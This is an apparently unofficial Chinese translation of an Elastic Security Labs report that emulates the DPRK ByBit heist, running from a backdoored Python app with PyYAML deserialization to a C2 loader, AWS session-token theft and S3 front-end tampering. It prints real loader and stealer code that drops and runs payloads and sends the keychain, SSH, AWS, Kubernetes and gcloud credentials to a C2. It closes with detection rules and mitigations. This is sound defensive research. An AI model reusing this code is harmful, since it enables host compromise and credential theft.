Bit ByBit——模拟朝鲜(DPRK)规模最大的加密货币劫案

Bit ByBit - emulation of the DPRK’s largest cryptocurrency heist

Bit ByBit——模拟朝鲜(DPRK)规模最大的加密货币劫案

原文标题: Bit ByBit - emulation of the DPRK’s largest cryptocurrency heist
中文标题: Bit ByBit——模拟朝鲜(DPRK)规模最大的加密货币劫案
来源: Elastic Security Labs
原文作者: Colson Wilhoit、Terrance DeJesus
原文发布日期: 2025-05-06
摘要: 对朝鲜(DPRK)最大加密货币劫案的高保真模拟——经由被攻陷的 macOS 开发者主机与 AWS 横向移动。

免责声明: 本文为 Elastic Security Labs 公开研究报告的非官方简体中文翻译,仅供学习与安全防御参考。版权归 Elastic 及原作者所有。技术名词、恶意软件名称、IOC、哈希、URL、代码等尽量保留原文;必要时附中文说明。翻译如有疏漏,以英文原文为准。

Bit ByBit 封面图

图 1:Bit ByBit 报告封面图


目录


关键要点

本研究的关键要点:

引言

2025 年 2 月 21 日,加密货币行业震动:约 40 万枚 ETH 从行业大型交易所之一 ByBit 消失。幕后据信是朝鲜精英网络进攻部队,被称为 TraderTraitor。攻击者利用与多签(multisig / multi-signature)钱包平台 Safe{Wallet} 的可信供应商关系,把一笔例行交易变成了十亿美元级劫案。供应链攻击已成为朝鲜网络战略的标志性手法,支撑该政权自 2017 年以来窃取超过 60 亿美元 加密货币的行动。本文将拆解此次攻击,在受控环境中仔细模拟其战术,并给出如何借助 Elastic 产品与功能强化网络安全防御的实践启示。

我们对此威胁的模拟基于 SygniaMandiant/SAFESlowMistUnit42 发布的研究成果。

攻击链概览示意图

图 2:攻击链 / 模拟概览示意图

事件时间线

若你主要关心技术模拟细节,可直接跳到后文。但为提供背景——并厘清官方已披露内容——我们根据上述研究整理了高层时间线,用以支撑后续假设。

2025 年 2 月 2 日 – 基础设施搭建

攻击者通过 Namecheap 注册域名 getstockprice[.]com。该基础设施随后用作初始访问载荷中的 C2 端点。

2025 年 2 月 4 日 – 初始攻陷

Developer1 的 macOS 工作站在执行恶意 Python 应用后被攻陷。该应用包含与 Docker 相关的逻辑,并引用了攻击者域名。文件路径(~/Downloads/)与恶意软件行为暗示社会工程(很可能通过 Telegram 或 Discord,与过往 REF7001 及 UNC4899 手法一致)。

2025 年 2 月 5 日 – AWS 入侵开始

攻击者使用 Developer1 的有效 AWS 会话令牌成功访问 Safe{Wallet} 的 AWS 环境。攻击者试图(未成功)向 Developer1 的 IAM 用户注册自己的虚拟 MFA 设备,显示其意图建立持久化。

2 月 5–17 日:AWS 环境内开始侦察。此期间攻击者行动很可能包括枚举 IAM 角色、S3 存储桶及其他云资产。

2025 年 2 月 17 日 – AWS 命令与控制活动

确认在 AWS 中观察到 C2 流量。标志着从被动侦察转向主动准备攻击。

2025 年 2 月 19 日 – Web 应用篡改

Wayback Machine 抓取的 app.safe.global(Safe{Wallet} 以静态方式托管的 Next.js Web 应用)快照显示存在恶意 JavaScript。该载荷被设计为检测 Bybit 多签交易并实时修改,将资金重定向到攻击者钱包。

2025 年 2 月 21 日 – 执行与清理

通过被篡改的 Safe{Wallet} 前端,对 Bybit 执行利用交易。

新的 Wayback Machine 快照确认恶意 JavaScript 载荷已被移除——表明攻击者在执行后手动清除。

Bybit 劫案交易完成。约 40 万枚 ETH 被盗。Sygnia 等后续分析确认 Bybit 基础设施本身未被直接攻陷——Safe{Wallet} 是唯一失败点

模拟所用假设

攻击概览

针对加密生态企业的攻击屡见不鲜。朝鲜持续瞄准这类公司,是因为加密货币相对匿名且去中心化,便于该政权规避全球金融制裁。朝鲜进攻性网络组织擅长发现并利用漏洞,已造成数十亿美元损失。

此次入侵始于对 Safe{Wallet}(ByBit 所信任的多签钱包提供商)一名开发者 MacOS 工作站的定向攻陷。初始访问涉及社会工程:根据以往活动推断,很可能通过 LinkedIn、Telegram 或 Discord 接近开发者,说服其下载包含加密主题 Python 应用的压缩包——这是朝鲜偏好的初始访问手法。该 Python 应用还包含可在特权容器中运行的 Docker 化版本。开发者并不知情,这一看似无害的应用使朝鲜运营人员能够利用 PyYAML 库中的远程代码执行(RCE)漏洞,获得代码执行能力并进而控制主机。

获得对开发者机器的初始访问后,攻击者部署了 MythicC2Poseidon agent——一款基于 Golang、面向 macOS 环境、具备高级隐蔽与广泛后渗透能力的稳健载荷。攻击者随后可能进行侦察,发现开发者可访问 Safe{Wallet} 的 AWS 环境,并使用经多因素认证(MFA)保护的临时 AWS 用户会话令牌。掌握开发者的 AWS access key ID、secret key 与临时会话令牌后,威胁行为体在约 24 小时内认证进入 Safe{Wallet} 的 AWS 环境,充分利用会话令牌约 12 小时的有效期。

为确保持续访问 AWS 环境,攻击者试图注册自己的 MFA 设备。然而,AWS 临时会话令牌在缺少 MFA 认证上下文 时不允许 IAM API 调用,导致该尝试失败。遭遇这一小挫折后,威胁行为体枚举 AWS 环境,最终发现托管 Safe{Wallet} 静态 Next.js 用户界面的 S3 存储桶。

攻击者随后可能下载该 Next.js 应用的打包代码,花费近两周分析其功能,再将恶意 JavaScript 注入主 JS 文件,并覆盖 S3 桶中托管的合法版本。恶意 JavaScript 仅在由 Bybit 冷钱包地址与攻击者控制地址发起的交易上激活。通过插入硬编码参数,脚本绕过了交易校验与数字签名验证,有效欺骗了默认信任 Safe{Wallet} 界面的 ByBit 钱包审批人。

此后不久,朝鲜发起欺诈交易,触发恶意脚本篡改交易细节。这种操纵很可能促使钱包签名者批准非法转账,从而使朝鲜人员控制约 40 万枚 ETH。被盗资金随后被洗入攻击者控制的钱包。

我们选择将研究与行为模拟止于 Next.js 应用被攻陷之处。因此不深入讨论其他研究报告中涉及的区块链技术,如 ETH 智能合约、合约地址与 sweep ETH 调用等。

模拟攻击

为真正理解此次入侵,我们决定在受控实验室环境中模拟整条攻击链。作为 Elastic 的安全研究员,我们希望沿着攻击者的脚步,理解行动如何在各阶段展开:从代码执行到 AWS 会话劫持,再到基于浏览器的交易操纵。

这一动手模拟有双重目的。其一,使我们能在细粒度技术层面分析攻击,发掘可行的检测与预防机会。其二,让我们端到端检验 Elastic 能力——看平台是否不仅能检测攻击各阶段,还能将其关联成防御者可行动的连贯叙事。

macOS 终端攻陷

得益于 Unit42 的详细文章——更关键的是将回收样本上传至 VirusTotal——我们得以使用真实环境中观察到的实际载荷进行端到端模拟。包括:

恶意 Python 应用

我们模拟所用的初始访问 Python 应用,与 SlowMist 披露分享的样本一致,并得到 Mandiant 对 SAFE 开发者攻陷 事件响应发现 的印证。该应用的目录结构也与 Unit42 文章所示一致。攻击者从 GitHub 复刻了一个合法的股票交易 Python 项目,并在名为 data_fetcher.py 的脚本中植入后门。

Python 应用目录结构

图 3:Python 应用目录结构(Python Application Directory Structure)

该应用借助 Streamlit 执行 app.py,后者再导入 data_fetcher.py

Python 应用 README.txt 用法说明

图 4:Python 应用 README.txt 用法说明

data_fetcher.py 脚本包含恶意功能,用于连接攻击者控制的域名。

data_fetcher.py 中带 yaml.load 功能的类

图 5:data_fetcher.py 中带 yaml.load 功能的类

默认情况下,脚本会获取合法的股市相关数据。但在特定条件下,攻击者控制的服务器可改为返回恶意 YAML 载荷。当使用 PyYAML 的不安全加载器(yaml.load())评估时,该载荷允许任意 Python 对象反序列化,从而导致 RCE。

PyYAML 反序列化载荷

(VT 哈希:47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f

我们通过在 PythonAnywhere 上用 Python+Flask Web 应用托管 YAML 反序列化载荷,复现了这一恶意设置,以模拟攻击者基础设施。我们更新了 data_fetcher.py 中的恶意 URL,使其指向托管在 PythonAnywhere 上的 YAML 载荷。

当 PyYAML 加载并执行恶意 YAML 载荷时,会执行以下动作:

首先,在受害者主目录中创建名为 Public 的目录。

directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")

if not os.path.exists(directory):
    os.makedirs(directory)

接着,将 base64 编码的 Python 加载器脚本解码并写入 Public 目录下名为 __init__.py 的新文件。

filePath = os.path.join(directory, "__init__.py")

with open(filePath, "wb") as f:
    f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))

最后,在后台静默执行新创建的 __init__.py 脚本,启动攻击的第二阶段。

subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)

Python 加载器脚本

(VT 哈希:937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79

为避免留下取证痕迹,加载器在执行后首先删除自身文件(__init__.py),仅以内存中运行的形式继续存在。

directory = os.path.join(home_directory, "Public")

    if not os.path.exists(directory):
        os.makedirs(directory)

    try:
        body_path = os.path.join(directory, "__init__.py")
        os.remove(body_path)

该加载器的主要目标是与命令与控制(C2)服务器建立持续通信。它收集基本系统信息——如操作系统类型、架构与系统版本——并通过 HTTP POST 请求发送到硬编码的 /club/fb/status URL 端点。

params = {
        "system": platform.system(),
        "machine": platform.machine(),
        "version": platform.version()
    }
    while True:
        try:
            response = requests.post(url, verify=False, data = params, timeout=180)

根据服务器响应(ret 值),加载器决定下一步动作。

ret == 0:

脚本休眠 20 秒并继续轮询。

if res['ret'] == 0:
    time.sleep(20)
    continue
ret == 1:

服务器响应包含 Base64 编码的载荷。脚本解码该载荷,并写入文件——在 Windows 上名为 init.dll,否则为 init——随后使用 ctypes.cdll.LoadLibrary 动态加载该库,使载荷作为本地二进制运行。

elif res['ret'] == 1:
    if platform.system() == "Windows":
        body_path = os.path.join(directory, "init.dll")
    else:
        body_path = os.path.join(directory, "init")
        with open(body_path, "wb") as f:
            binData = base64.b64decode(res["content"])
            f.write(binData)
            os.environ["X_DATABASE_NAME"] = ""
            ctypes.cdll.LoadLibrary(body_path)
ret == 2:

脚本将 Base64 内容解码为 Python 源代码,再用 Python 的 exec() 执行。这允许运行任意 Python 代码。

elif res['ret'] == 2:
    srcData = base64.b64decode(res["content"])
    exec(srcData)
ret == 3:

脚本将二进制载荷(dockerd)与二进制配置文件(docker-init)解码为两个独立文件,设置可执行权限,然后尝试作为新进程运行它们,并将配置文件作为参数提供给二进制载荷。二进制载荷执行后,删除其可执行文件,配置文件留在磁盘上以供参考。

elif res['ret'] == 3:
    path1 = os.path.join(directory, "dockerd")
    with open(path1, "wb") as f:
        binData = base64.b64decode(res["content"])
        f.write(binData)

    path2 = os.path.join(directory, "docker-init")
    with open(path2, "wb") as f:
        binData = base64.b64decode(res["param"])
        f.write(binData)

    os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    try:
        process = subprocess.Popen([path1, path2], start_new_session=True)
        process.communicate()
        return_code = process.returncode
        requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
    except:
        pass

    os.remove(path1)
ret == 9:

脚本跳出轮询循环,终止后续动作。

elif res['ret'] == 9:
    break

处理任一命令后,脚本继续轮询 C2 服务器以获取进一步指令。

Python 加载器模拟

我们的目标是测试加载器中的每一种命令选项,以更好理解其行为、收集相关遥测数据,并加以分析,从而为终端与 SIEM 构建稳健检测。

Ret == 1:将库写入磁盘、加载并删除 Dylib

该选项所用载荷是编译为共享库(.dylib)的 Poseidon 载荷。

Mythic C2 载荷构建器

图 6:Mythic C2 载荷构建器(Mythic C2 Payload Builder)

随后我们对二进制进行 base64 编码,并在 C2 服务器中硬编码该 base64 载荷路径,以便在测试此特定加载器命令时提供服务。

base64 poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD"  # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1   # Change this value to test different actions

一旦我们的 Poseidon 载荷回连到 Mythic C2,即可使用 Poseidon 提供的多种方法检索凭据。

选项 1:download 命令 —— 访问文件、读取内容、将数据回传 C2。
选项 2:getenv 命令 —— 读取用户环境变量并将内容回传 C2。
选项 3:jsimportjsimport_call 命令 —— 将 JXA 脚本导入内存,再调用其中方法从文件检索凭据并返回内容。

Ret == 2:在进程内存中接收并执行任意 Python 代码

(VT 哈希:e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7

加载器脚本允许在内存中运行任意 Python 代码或脚本。Unit42 博客提供了他们观察到朝鲜通过该返回值执行的 Python 脚本。该脚本收集大量数据,经 XOR 编码后通过 POST 请求回传 C2。模拟时只需加入我们 C2 的相应路由 URL,并将脚本 base64 编码后硬编码到服务器路径,以便测试该选项。

def get_info():
    global id
    id = base64.b64encode(os.urandom(16)).decode('utf-8')
    
    # get xor key
    while True:
        if not get_key():
            break

        base_info()
        send_directory('home/all', '', home_dir)
        send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
        send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
        send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
        send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
        send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
        finalize()
        break
Ret == 3:将二进制载荷与二进制配置写入磁盘、执行载荷并删除文件

对于 ret == 3,我们使用标准 Poseidon 二进制载荷,以及加载器脚本中指定的含二进制数据的“配置文件”。随后像 ret == 1 一样对二者做 base64 编码,并在 C2 服务器中硬编码路径以便测试。与 ret == 1 相同,我们也能用那些命令从目标系统收集凭据。

C2 基础设施

我们创建了一个非常简单的小型 C2 服务器,基于 Python+Flask 构建,用于在 Kali Linux 虚拟机上监听指定端口、评估入站请求,并根据路由与我们希望测试的返回值作出相应响应。

自定义 Python+Flask C2 服务器

图 7:自定义 Python+Flask C2 服务器(Custom Python+Flask C2 Server)

我们还使用开源 Mythic C2 来创建与管理所用的 Poseidon 载荷。Mythic 是由 SpecterOpsCody Thomas 创建并维护的开源 C2 框架。

Mythic C2 活跃回连交互式 Agent 窗口

图 8:Mythic C2 活跃回连交互式 Agent 窗口

恶意 Python 应用:Docker 版本

我们还探索了恶意 Python 应用的 Docker 化变体。该版本封装在以特权模式运行的精简 Python Docker 容器(python:3.12.2-slim)中,因而可访问主机资源。

容器化应用会在 macOS 上造成遥测与检测盲区,因为 Apple 的 Endpoint Security Framework(ESF)缺乏对容器化进程的内省能力。虽然 ESF 与终端检测方案仍可观察到受信的 Docker 进程访问敏感主机文件——如 SSH 密钥、AWS 凭据或用户配置数据——但这些行为常与标准开发者工作流一致。因此,安全工具不太可能仔细审查或对容器化活动告警,使攻击者在 Docker 环境中操作时隐蔽性更高。

这凸显了需要额外监控(如 OSQueryDocker 日志采集)以补充标准 macOS 终端防御。Elastic 通过 Elastic Agent 的数据集成,在终端防护功能之外同时提供 OSQueryDocker 日志采集。

macOS 模拟结论

我们的模拟使用真实世界载荷,端到端复现了对 SAFE 开发者 macOS 系统的攻击。

恶意 Python 应用:

我们首先复现了 Mandiant 发现与 Unit42 报告中描述的恶意 Python 应用。攻击者复刻合法开源应用,并在 data_fetcher.py 中嵌入 RCE。该脚本向攻击者控制的服务器发出出站请求,并有条件地获取恶意 YAML 文件。使用 PyYAML 的不安全加载器 yaml.load(),攻击者通过反序列化触发任意代码执行。

PyYAML 载荷反序列化导致 Python 加载器脚本执行:

YAML 载荷将 base64 编码的二阶段加载器写入 ~/Public/__init__.py,并以分离进程执行。我们用托管在 PythonAnywhere 上的 Flask 暂存服务器精确模拟了这一流程。

Python 加载器执行与 C2 交互:

启动后,加载器删除磁盘上的文件,并向我们模拟的 C2 发出信标、等待任务。根据 C2 响应码(ret),我们测试了以下动作:

数据收集:跳板前侦察与凭据访问:

ret == 2 测试中,Python 窃密程序收集了:

这模拟了云利用之前的跳板前数据收集,反映了朝鲜行为体如何从开发者本地环境收割 AWS 凭据。

掌握有效 AWS 凭据后,威胁行为体跳转到云环境,开启入侵第二阶段。

AWS 云攻陷执行流程

图 9:AWS 云攻陷执行流程(AWS cloud compromise execution flow)

AWS 云环境攻陷

前置条件与环境搭建

为模拟本次攻击的 AWS 阶段,我们首先用 Terraform 搭建必要基础设施。包括创建一个 IAM 用户(developer),并赋予过于宽松、可访问 S3、IAM 与 STS API 的 IAM 策略。随后将本地构建的 Next.js 应用推送到 S3 存储桶并确认站点上线,以模拟简化的 Safe{Wallet} 前端。

选择 Next.js 是基于原始 S3 静态站点路径——https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js

在注入任何恶意代码前,我们用已知目标钱包地址执行测试交易,验证站点完整性,确保应用按预期响应。

自定义前端静态站点上的交易

图 10:自定义前端静态站点上的交易(Transaction by custom frontend static site)

临时会话令牌获取

在开发者 macOS 工作站完成初始访问与攻陷后活动后,早期假设集中于对手从默认 AWS 配置位置(如 ~/.aws)或用户环境变量取凭据。Unit42 博客后续确认 Python 窃密脚本确实针对 AWS 文件。这些位置常存储长期 IAM 凭据或标准开发工作流使用的临时会话令牌。但根据公开报告,本次具体攻陷涉及的是 AWS 用户会话令牌,而非长期 IAM 凭据。在我们的模拟中,作为开发者,我们向 IAM 用户添加虚拟 MFA 设备并启用,然后获取用户会话令牌并将凭据导出到环境。注意:在 Kali Linux 端点上,我们像对手一样使用 ExpressVPN 进行任何 AWS API 调用或与开发者主机的交互。

据推测,开发者通过 GetSessionToken API 操作,或通过 AWS CLI 登录 AWS Single Sign-On(SSO)获得临时 AWS 凭据。两种方法都会使短期凭据缓存在本地,可用于 CLI 或基于 SDK 的交互。这些临时凭据随后很可能缓存在 ~/.aws 文件中,或以环境变量形式导出到 macOS 系统。

GetSessionToken 场景中,开发者会执行类似命令:

aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE"  --duration-seconds 43200 --profile "$AWS_PROFILE" --output json

在基于 SSO 的认证场景中,开发者可能运行:

aws configure sso 
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`

任一方法都会使临时凭据(access key、secret 与 session token)保存到 ~/.aws 文件,并对已配置的 AWS profile 可用。除非被覆盖,AWS CLI 或 Boto3 等 SDK 会自动使用这些凭据。无论哪种情况,若恶意软件或对手已访问开发者的 macOS 系统,便可轻易从环境变量、AWS 配置缓存或凭据文件中收割这些凭据。

为获取 Developer1 的这些凭据,我们编写了快速自动化自定义脚本:在 AWS 中创建虚拟 MFA 设备,将其注册到 Developer1 用户,再调用 STS 的 GetSessionToken——并将返回的临时用户会话凭据以环境变量形式加入我们的 macOS 端点,如下所示。

MFA 设备注册尝试

通过 shell 脚本为开发者注册 MFA 设备并获取用户会话令牌

图 11:通过 shell 脚本为开发者注册 MFA 设备并获取用户会话令牌

此处的关键假设是:开发者使用的是已启用 MFA 的用户会话,无论是直接使用还是用于扮演自定义管理的 IAM 角色。该假设来自被泄露的凭据材料——AWS 临时用户会话令牌,它们并非来自控制台,而是按需向 STS 请求。GetSessionToken 或 SSO 返回的临时凭据默认在若干小时后过期;带有 ASIA* 前缀的会话令牌表明对手收割到了短期但高影响的凭据。这与以往归咎于朝鲜的攻击中提取并复用 Kubernetes、GCP、AWS 凭据与配置的行为一致。

GetSessionToken 调用后 AWS 用户会话令牌的环境变量输出

图 12:GetSessionToken 调用后 AWS 用户会话令牌的环境变量输出

在 Kali 上扮演被攻陷身份

一旦收集到 AWS 会话令牌,对手很可能将其存储在 Kali Linux 系统上:要么放在标准 AWS 凭据位置(如 ~/.aws/credentials 或环境变量),要么按所用工具放在自定义文件结构中。AWS CLI 默认从 ~/.aws/credentials 与环境变量读取,但使用 Boto3 的 Python 脚本可配置为几乎从任意文件或路径获取凭据。鉴于攻陷后活动的速度与精确度,攻击者很可能使用 AWS CLI、直接 Boto3 SDK 调用,或封装 CLI 命令的 shell 脚本——它们都方便且内置请求签名。

攻击者手动用 SigV4 签名 AWS API 请求的可能性较低,因为这会不必要地缓慢且操作复杂。还需注意:没有公开博客披露与会话令牌使用相关的 user agent 字符串(如 aws-cli、botocore 等),因此攻击者的确切工具仍有不确定性。不过,鉴于朝鲜对 Python 的既有依赖以及攻击速度,CLI 或 SDK 仍是最合理的假设。

MythicC2 getenv 命令输出

图 13:MythicC2 getenv 命令输出

注: 我们在 Unit 42 关于 RN Loader 能力的博客发布之前,便用 Poseidon 载荷在模拟中完成了这一步骤。

有必要澄清 AWS 认证模型的一个细微之处:使用会话令牌并不必然阻止访问 IAM API 操作——即便是 CreateVirtualMFADevice 这类操作——只要会话最初是在 MFA 下建立的。在我们的模拟中,我们尝试用带有 MFA 上下文的被盗会话令牌复现该行为。有趣的是,注册额外 MFA 设备的尝试失败了,暗示可能存在额外防护(如显式策略约束)阻止通过会话令牌注册 MFA,或者该行为细节仍过于模糊以致我们未能正确模拟。确切失败原因仍不清楚,但这一行为值得对与会话绑定操作相关的 IAM 策略与认证上下文作更深入研究。

S3 资产枚举

获取凭据后,攻击者很可能枚举可访问的 AWS 服务。在本例中,Amazon S3 是明确目标。攻击者会列出被攻陷身份在所有区域可用的存储桶,并定位与 Safe{Wallet} 关联的面向公众的桶——其中托管用于交易处理的前端 Next.js 应用。

我们假设攻击者因该桶为 app.safe[.]global 提供内容而知晓它,意味着桶结构与资产可在无需认证的情况下被公开浏览或下载。在我们的模拟中,我们通过从用于静态站点托管的公共 S3 桶同步资产,验证了类似行为。

包含静态托管前端站点资产的存储桶

图 14:包含静态托管前端站点资产的存储桶

目标存储桶中的静态托管前端站点资产

图 15:目标存储桶中的静态托管前端站点资产

用恶意代码覆盖 Next.js 应用

发现存储桶后,攻击者很可能使用 aws s3 sync 命令下载全部内容,其中包括打包后的前端 JavaScript 资产。在 2025 年 2 月 5 日至 19 日期间,他们似乎专注于修改这些资产——特别是 main.<HASH>.js 及相关路由等文件,它们由 Next.js 在构建过程中输出,并存放在 _next/static/chunks/pages/ 目录下。这些打包文件包含转译后的应用逻辑;根据 Sygnia 的取证报告,名为 _app-52c9031bfa03da47.js 的文件是恶意代码的主要注入点。

使用 AWS CLI sync 命令下载存储桶内容

图 16:使用 AWS CLI sync 命令下载存储桶内容

Next.js 应用构建后,通常将静态生成资产存放在 next/static/ 目录下,JavaScript chunk 组织在如 /chunks/pages/ 等文件夹中。在本例中,对手很可能对 JavaScript 包进行格式化与去混淆以理解其结构,再逆向应用逻辑。在识别出处理用户输入钱包地址的代码后,他们注入了载荷。该载荷引入条件逻辑:若输入的钱包地址匹配若干已知目标地址之一,则静默将目的地替换为朝鲜控制的地址,在用户不知情的情况下重定向资金。

恶意载荷相关截图 / 代码分析

图 17:恶意载荷 / 前端代码相关截图

修改自有应用未格式化的打包静态站点代码

图 18:修改自有应用未格式化的打包静态站点代码

在我们的模拟中,通过修改 TransactionForm.js 组件来检查输入的收款地址是否匹配特定值,从而复现该行为。若匹配,地址被替换为攻击者控制的钱包。这虽不能反映真实攻击中智能合约操纵或 delegate call 的复杂度,但可作为概念性行为,说明被攻陷的前端如何静默重定向加密货币交易。

恶意代码上传后,静态站点前端脚本在满足目标钱包地址条件时弹出通知

图 19:恶意代码上传后,静态站点前端脚本在满足目标钱包地址条件时弹出通知

静态站点篡改的影响与缺失的安全控制

此类前端篡改在 Web3 环境中尤其危险,因为去中心化应用(dApps)常依赖静态的客户端逻辑处理交易。通过修改从 S3 桶提供的 JavaScript 包,攻击者无需攻破后端 API 或智能合约逻辑,即可颠覆应用行为。

我们假设在攻陷期间,S3 Object Lock、Content-Security-Policy(CSP)或 Subresource Integrity(SRI)头等防护要么未使用,要么未强制执行。缺少这些控制会使攻击者能够修改静态前端代码而不触发浏览器或后端完整性校验,使此类篡改更易在未被发现的情况下实施。

防御启示

成功的模拟——或真实世界的事件响应——不会止于识别攻击者行为。它还要继续强化防御,防止类似技术再次得逞。下文概述关键检测、安全控制、缓解策略以及 Elastic 功能,有助于降低风险,并限制对本模拟及 Safe{Wallet} 攻陷等野外(ItW)活动所用战术的暴露面。

注: 这些检测处于积极维护与定期调优中,可能随时间演进。视你的环境而定,可能需要额外调优以减少误报与噪声。

Elastic 的 SIEM 检测与终端防护规则

一旦我们通过模拟理解对手行为,并实施安全控制加固环境,同样重要的是探索检测机会与能力,以便实时识别并响应这些威胁。

macOS 终端行为防护规则

Python PyYAML 反序列化载荷

规则名称:“Python Script Drop and Execute”: 检测 Python 脚本被创建或修改后,紧接着由同一 Python 进程执行该脚本的情况。

Python 加载器脚本

规则名称:“Self-Deleting Python Script”: 检测 Python 脚本执行后,该脚本文件立即被同一 Python 进程删除的情况。

规则名称:“Self-Deleted Python Script Outbound Connection”: 检测 Python 脚本被删除后,同一 Python 进程很快发起出站网络连接的情况。

Python 加载器脚本 Ret == 1

规则名称:“Suspicious Executable File Creation via Python”: 检测 Python 在可疑或不寻常目录中创建或修改可执行文件的情况。

规则名称:“Python Library Load and Delete”: 检测位于用户主目录中的共享库被 Python 加载后,很快被同一 Python 进程删除的情况。

规则名称:“Unusual Library Load via Python”: 检测 Python 加载位于用户主目录、且未以 .dylib 或 .so 命名的共享库的情况。

规则名称:“In-Memory JXA Execution via ScriptingAdditions”: 检测 JXA 脚本的内存加载与执行。

Python 加载器脚本 Ret == 2

规则名称:“Potential Python Stealer”: 检测 Python 脚本执行后,同一 Python 进程很快至少三次尝试访问敏感文件的情况。

规则名称:“Self-Deleted Python Script Accessing Sensitive Files”: 检测 Python 脚本被删除后,同一 Python 进程很快访问敏感文件的情况。

Python 加载器脚本 Ret == 3

规则名称:“Unsigned or Untrusted Binary Execution via Python”: 检测 Python 执行位于可疑目录的未签名或不受信任二进制的情况。

规则名称:“Unsigned or Untrusted Binary Fork via Python”: 检测 Python 通过 fork/exec 启动未签名或不受信任二进制,且进程参数为用户主目录内文件路径的情况。

规则名称:“Cloud Credential Files Accessed by Process in Suspicious Directory”: 检测从可疑目录运行的进程访问云凭据的情况。

针对 AWS CloudTrail 日志的 SIEM 检测

规则名称:“STS Temporary IAM Session Token Used from Multiple Addresses”: 检测 AWS IAM 会话令牌(如 ASIA*)在短时间内被多个源 IP 使用,可能表明凭据被盗并在对手基础设施上复用。

规则名称:“IAM Attempt to Register Virtual MFA Device with Temporary Credentials”: 检测使用 AWS 会话令牌调用 CreateVirtualMFADevice 或 EnableMFADevice 的尝试。这可能反映利用被劫持的短期凭据建立持久访问的企图。

规则名称:“API Calls to IAM via Temporary Session Tokens”: 检测使用临时凭据(如 ASIA* 前缀会话令牌)的主体调用敏感 iam.amazonaws.com API。这类操作通常需要 MFA,或应仅通过 AWS 控制台或联合用户执行,而非 CLI 或自动化令牌。

规则名称:“S3 Static Site JavaScript File Uploaded via PutObject”: 识别 IAM 用户向 S3 桶的 static/js/ 目录上传或修改 JavaScript 文件的尝试,可能表明前端篡改(如注入恶意代码)。

规则名称:“AWS CLI with Kali Linux Fingerprint Identified”: 检测由使用 Kali Linux 的系统发起的 AWS API 调用(由 user_agent.original 字符串指示)。这可能反映攻击者基础设施或来自红队工具的未授权访问。

规则名称:“S3 Excessive or Suspicious GetObject Events”: 检测同一 IAM 用户或会话在短时间窗口内大量 S3 GetObject 操作。这可能表明使用 AWS CLI sync 等工具进行 S3 数据外传——尤其针对静态站点文件或前端包。注意:这是狩猎查询,应按环境调整。

针对 Docker 滥用的 SIEM 检测

规则名称:“Sensitive File Access via Docker”: 检测 Docker 访问敏感主机文件(“ssh”“aws”“gcloud”“azure”“web browser”“crypto wallet files”)的情况。

规则名称:“Suspicious Executable File Modification via Docker”: 检测 Docker 在可疑或不寻常目录中创建或修改可执行文件的情况。

若你的 macOS agent 策略包含 Docker 数据集成,即可采集有助于发现用户系统上恶意容器活动的宝贵遥测。在我们的模拟中,该集成使我们能将 Docker 日志摄取到 metrics 索引,并据此构建检测规则,识别与恶意应用相关的失陷指标与可疑容器执行。

Docker 相关检测 / 遥测示意

图 20:Docker 相关检测或遥测示意

缓解措施

社会工程

社会工程在许多入侵中扮演重要角色,对朝鲜尤其如此。他们极擅长利用 LinkedIn、Telegram、X 或 Discord 等受信公共平台接触并接近受害者,以显得合法。许多社会工程活动试图说服用户下载并执行某种项目、应用或脚本,无论是出于必要(求职申请)还是困境(调试协助)等。缓解此类针对社会工程的定向攻击很困难,需要企业协同努力,确保员工定期接受培训以识别这些企图,在与外部实体甚至开源社区互动时保持适当怀疑与谨慎。

Bandit(GitHub - PyCQA/bandit:用于发现 Python 代码常见安全问题的工具)是优秀的开源示例:开发者可在执行前扫描 Python 应用及其脚本,以发现代码中可能存在的常见 Python 安全漏洞或危险问题。

Bandit / 静态扫描相关示意

图 21:Bandit 或静态代码扫描相关示意

应用与设备管理

通过设备管理方案或开源二进制授权框架(如 Santa,GitHub - northpolesec/santa:面向 macOS 的二进制与文件访问授权系统)实施应用控制,可用于强制公证并阻止从可疑路径执行。这将阻止为持久化而投放到系统上的 Poseidon 载荷执行,并可能阻止对敏感文件的访问。

EDR/XDR

要有效防御国家级威胁——以及众多针对 macOS 的其他攻击——关键是部署能提供丰富遥测与关联能力的 EDR 方案,以检测并阻止基于脚本的攻击。更进一步,像 Elastic 这样的 EDR 平台允许你将 AWS 日志与终端数据一并摄取,通过单一界面实现统一告警与可见性。结合 AI 驱动的关联,该方法可呈现连贯的攻击叙事,显著加速响应,并在此类攻击发生时提高快速行动能力。

Elastic 告警仪表盘

图 22:Elastic 告警仪表盘(Elastic Alerts Dashboard)

AWS 凭据暴露与会话令牌加固

